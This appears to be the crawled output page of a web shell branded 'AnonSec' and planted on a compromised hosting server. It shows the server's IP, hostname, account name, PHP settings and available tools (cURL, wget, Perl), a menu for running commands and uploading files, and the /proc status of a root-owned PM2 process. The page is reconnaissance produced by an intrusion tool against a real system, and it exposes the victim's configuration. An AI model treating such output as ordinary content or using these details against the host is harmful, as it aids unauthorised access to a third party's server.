Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.217.5
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../../proc/2128480/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../../proc/2128480/status
Name:	PM2 v6.0.14: Go
Umask:	0022
State:	S (sleeping)
Tgid:	2128480
Ngid:	0
Pid:	2128480
PPid:	1
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	64
Groups:	 
NStgid:	2128480
NSpid:	2128480
NSpgid:	2128480
NSsid:	2128480
VmPeak:	 1240288 kB
VmSize:	 1174752 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   75196 kB
VmRSS:	   68368 kB
RssAnon:	   25236 kB
RssFile:	   43132 kB
RssShmem:	       0 kB
VmData:	  107716 kB
VmStk:	     132 kB
VmExe:	   27208 kB
VmLib:	    4876 kB
VmPTE:	    1032 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
untag_mask:	0xffffffffffffffff
Threads:	11
SigQ:	2/62744
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000001001000
SigCgt:	0000000100014e07
CapInh:	0000000000000000
CapPrm:	000001ffffffffff
CapEff:	000001ffffffffff
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Seccomp_filters:	0
Speculation_Store_Bypass:	thread vulnerable
SpeculationIndirectBranch:	conditional enabled
Cpus_allowed:	ffff
Cpus_allowed_list:	0-15
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	2005196
nonvoluntary_ctxt_switches:	428391
x86_Thread_features:	
x86_Thread_features_locked:	

AnonSec - 2021